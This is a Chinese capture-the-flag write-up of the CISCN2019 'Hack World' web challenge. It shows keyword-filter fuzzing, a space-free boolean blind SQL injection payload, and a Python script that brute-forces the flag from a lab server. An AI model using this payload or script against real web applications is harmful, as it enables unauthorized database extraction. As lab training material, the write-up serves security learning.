[CISCN2019 华北赛区 Day2 Web1]Hack World

web第31题
[CISCN2019 华北赛区 Day2 Web1]Hack World

打开靶场:
在这里插入图片描述
提示了flag表中有flag列,我们只能提交id
提交1
在这里插入图片描述
地址栏中无参数,说明是post方式传参
提交2
在这里插入图片描述
3以及后面的就没有了,说明只有2条数据
在这里插入图片描述
尝试1’
在这里插入图片描述
说明类型是数字
手动测试一下有无过滤,试了常规的猜解字段等方式,发现有过滤
在这里插入图片描述
FUZZ跑一下
发现空格,--+,/**/,xor,floor,hanlder,information等关键字被过滤在这里插入图片描述
相应为482的都是被过滤的字符
例如空格,or,order,union以及报错注入的相关字符都被过滤了
但是select和from没有被过滤
这时我们可以想到的还有盲注,因为输入1时返回Hello, glzjin wants a girlfriend.,输入0时返回Error Occured When Fetch Result.

也就是说我们构造返回结果为0或1的布尔类型进行盲注即可
因为表和字段都给出来了,所以直接
构造语句

id=(select(ascii(mid(flag,1,1))=102)from(flag))

mid用于截取字符串,第一个参数是指定的字段,第二个参数是开始截取的位置,第三个参数可选,表示一次截取多少
MySQL MID()函数用法
在这里插入图片描述
也就是说如果ascii码正确,那么会返回1,得到的回显也就是包含Hello的那条语句
如果失败
在这里插入图片描述
那么就是Error
这时就需要编写脚本来跑盲注了,参考了大佬的博客,照着写了一下脚本

# -*- coding = utf-8 -*-
# @Author : ricky
# @software : PyCharm

import requests
import string

def blind_sql(url):
    flag=''                     #接收结果
    for num in range(1,60):     #flag一般不超过50个字符
        for i in string.printable:  #string.printable将给出所有的标点符号,数字,ascii_letters和空格
            payload='(select(ascii(mid(flag,{0},1))={1})from(flag))'.format(num,ord(i)) #ord函数用来获取单个字符的ascii码
            post = {"id":payload}
            result = requests.post(url=url,data=post)   #提交post请求
            if 'Hello' in result.text:
                flag += i   #用flag接收盲注得到的结果
                print(flag) #打印结果
            else:
                continue
    print(flag)

if __name__ == '__main__':
    url='http://1bd5e523-ee8c-47d5-9181-4d11e938517a.node4.buuoj.cn:81/index.php'
    blind_sql(url)

在这里插入图片描述
得到flag
受益匪浅啊O(∩_∩)O

  • 3
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值